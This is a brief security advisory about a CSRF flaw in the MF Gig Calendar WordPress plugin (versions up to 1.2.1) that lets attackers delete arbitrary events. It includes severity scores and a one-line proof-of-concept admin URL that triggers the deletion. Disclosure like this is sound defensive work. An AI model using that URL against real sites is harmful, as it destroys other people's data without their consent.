MF Gig Calendar <= 1.2.1 - Arbitrary Event Deletion via CSRF

2024-04-1500:00:00

Bob Matyas

security exploit csrf event deletion

6.8 Medium

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

9.1%

JSON

Description The plugin does not have CSRF checks in some places, which could allow attackers to make logged in Contributors and above delete arbitrary events via a CSRF attack

Make a contributor or higher user open a link where <<EVENT_ID>> is a valid event:

https://example.com/wp-admin/admin.php?page=mf_gig_calendar&id=<<EVENT_ID>>&action=delete